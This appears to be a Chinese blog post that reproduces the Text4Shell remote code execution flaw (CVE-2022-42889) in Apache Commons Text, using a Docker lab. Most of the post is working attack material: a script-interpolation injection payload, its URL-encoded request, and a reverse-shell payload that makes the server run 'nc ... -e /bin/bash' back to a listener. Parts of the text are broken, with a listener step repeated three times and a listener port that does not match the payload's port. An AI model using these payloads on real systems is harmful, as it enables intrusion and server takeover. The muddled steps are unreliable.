text4shell CVE-2022-42889漏洞复现

发布时间 2023-10-14 19:15:58作者: websec80

本文展示了如何利用 Text4Shell 漏洞 (CVE-2022–42889)。为此,我将在本文中使用text4shell-poc.jar。

GitHub地址: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

声明信息

本文仅用于展示用途, 适用于好奇并想了解此漏洞的人士, 本文所有内容不可用于非法用途, 如使用者利用本文违反了相关法律, 与本文作者无关.

概要

Text4shell 漏洞于 2022 年 10 月 13 日向 Apache 披露。Text4Shell 是一个影响使用 Apache Commons Text Library 某些功能的 Java 产品的漏洞,它可能允许远程攻击者在服务器上执行任意代码。

影响范围

1.5 <= Apache Commons Text <= 1.9

环境搭建

前提需求:

  • JDK版本11.0以上
  • Docker
  • Maven

    从github拉取PoC

    git clone https://github.com/karthikuj/cve-2022-42889-text4shell-docker.git

进入PoC文件夹后使用mvn clean install(请注意如果嫌麻烦可以设置环境变量)

../apache-maven-3.6.3/bin/mvn clean install
 

 

当返回BUILD SUCCESS时, 代表可以进行下一步

docker拉取镜像

sudo docker build --tag=text4shell .

 

启动docker测试app

sudo docker run -p 8787:8080 text4shell

注入payload

${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}

直接复制会导致报错, 建议转换成URL编码

图片

http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27touch%20%2Ftmp%2Ffoo%27%29%7D

图片

进入容器查看我们刚刚新建的文件foo

图片

持久化(反弹shell)

使用nc监听

nc -lvnp 4444

持久化(反弹shell)

使用nc监听

nc -lvnp 4444

 

持久化(反弹shell)

使用nc监听

nc -lvnp 4444

生成payload

http://10.0.0.250:8787/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27nc%2010.0.0.250%209999%20-e%20%2Fbin%2Fbash%27%29%7D
 url编码生成参考https://www.urlencoder.org/
重要提醒:生成的编码包含:“.exec%27”。这是不正确的,它必须是“.exec%28%27”。由于 Medium.com 输入验证,无法使用“.exec%28%27”。我们必须手动添加缺少的“%28”..
 

 

接受到shell